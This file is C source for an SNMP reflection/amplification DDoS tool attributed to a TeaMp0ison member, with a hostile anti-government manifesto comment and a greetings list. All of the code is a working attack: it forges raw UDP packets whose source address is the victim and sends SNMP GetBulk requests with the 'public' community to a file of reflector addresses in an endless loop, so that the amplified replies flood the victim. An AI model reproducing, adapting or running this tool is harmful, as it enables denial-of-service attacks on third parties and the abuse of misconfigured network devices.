/*
Exploit Title: SNMP  Refelector DDOS
Date:          9:2:11
Author:        Hex00010
Tested on:  Windows  -  *needs updating for  Linux*
Contact:  [email protected]
*/



#include <stdio.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/udp.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <asm/types.h>

/*
    The Government is a Corrupted Organization
    We are here to show the world  the truth about them
    You dont like it  - go **** your self
    Anarchy For Life Bitch
    ===========================================================================​​====
    THIS CODE IS MEANT TO STAY PRIVATE - DO NOT SHARE WITH ANYONE - It Is Now Public  you Can repost this BUT give Credits
    ===========================================================================​​====
    by Hex00010 - TeaMp0ison - 2011


*/

char payload[] = \"\\x30\\x23\\x02\\x01\\x01\\x04\\x06\\x70\\x75\\x62\\x6c\\x69\\x63\\xa5\\x16\\x02\\x02\\x4e\\x47\"
\"\\x02\\x01\\x00\\x02\\x02\\x08\\xca\\x30\\x09\\x30\\x07\\x06\\x03\\x2b\\x06\\x01\\x05\\x00\";

struct iphdr ip_head;
struct udphdr udp_head;
struct sockaddr_in target;

struct udp_pseudo        /*the udp pseudo header*/
{
  unsigned int src_addr;
  unsigned int dst_addr;
  unsigned char  dummy;
  unsigned char  proto;
  unsigned short length;
} pseudohead;

struct help_checksum   /*struct for checksum calculation*/
{
  struct udp_pseudo pshd;
  struct udphdr udphd;
} udp_chk_construct;

unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft=len;
register unsigned short *w=addr;
register int sum=0;
unsigned short answer=0;

while(nleft>1)
  {
   sum+=*w++;
   nleft-=2;
  }
if(nleft==1)
  {
   *(u_char *)(&answer)=*(u_char *)w;
   sum+=answer;
  }
sum=(sum >> 16)+(sum & 0xffff);
sum+=(sum >> 16);
answer=~sum;
return(answer);
}

void send_udp(int sfd,unsigned int src,unsigned short src_p,
             unsigned int dst,unsigned short dst_p,char *buffer,int len)
{
char *packet;
int i;

/*Prepare IP header*/
ip_head.ihl      = 5;     /*headerlength with no options*/
ip_head.version  = 4;
ip_head.tos      = 22;
ip_head.tot_len  = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
ip_head.id       = htons(30000 + (rand()%100));
ip_head.frag_off = 0;
ip_head.ttl      = 64;
ip_head.protocol = IPPROTO_UDP;
ip_head.check    = 0;    /*Must be zero for checksum calculation*/
ip_head.saddr    = src;
ip_head.daddr    = dst;

ip_head.check    = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));

/*Prepare UDP header*/
udp_head.source = htons(src_p);
udp_head.dest = htons(dst_p);
udp_head.len   = htons(sizeof(struct udphdr)+sizeof(payload)-1);
udp_head.check   = 0;

/*Assemble structure for checksum calculation and calculate checksum*/
pseudohead.src_addr=ip_head.saddr;
pseudohead.dst_addr=ip_head.daddr;
pseudohead.dummy=0;
pseudohead.proto=ip_head.protocol;
pseudohead.length=htons(sizeof(struct udphdr)+sizeof(payload)-1);
udp_chk_construct.pshd=pseudohead;
udp_chk_construct.udphd=udp_head;
packet=malloc(sizeof(struct help_checksum)+sizeof(payload)-1);
memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum)); /*pre-assemble packet for*/
memcpy(packet+sizeof(struct help_checksum),buffer,sizeof(payload)-1);         /*checksum calculation*/
udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct help_checksum)+sizeof(payload)-1);
free(packet);

/*Assemble packet*/
packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct udphdr));
memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,sizeof(payload)-1);

/*Send packet*/
target.sin_family     = AF_INET;
target.sin_addr.s_addr= ip_head.daddr;
target.sin_port       = udp_head.source;
sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1,0,
                    (struct sockaddr *)&target,sizeof(struct sockaddr_in));
free(packet);
}

int main(int argc, char *argv[]) {
    int i=0;
    unsigned int srcip, dstip;
    char *data;
    data=malloc(sizeof(payload)+sizeof(payload)-1);
    memcpy(data, payload, sizeof(payload)-1);
    char* aline = calloc(16, sizeof(char) );

    if(argc < 3) {
        printf(\"By  Hex00010 - TeaMp0ison - 2011\\n\", argv[0]);
        exit(1);
    }

    if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)  /*open sending socket*/
    {
        perror(\"socket\");
        exit(1);
    }

    for(;;) {
        FILE* fp = fopen( argv[2], \"r\" );
        /* skip fopen checking because its not really necessary for what we\'re doing*/

        while ( !feof(fp) )
        {
            fscanf( fp, \"%s\\n\", aline );
            srcip = inet_addr(argv[1]);
            dstip = inet_addr(aline);
            send_udp(i,srcip,161,dstip,161,payload,sizeof(payload)-1);
            memset( aline, 0, 16 );
        }
        fclose(fp);
    }
    return 0;
}

/*
Greetz:  Trick aka SayWhat? , Luit , Ins^ane,  joepie91, Sabu , Anonymous,darkgt4
*/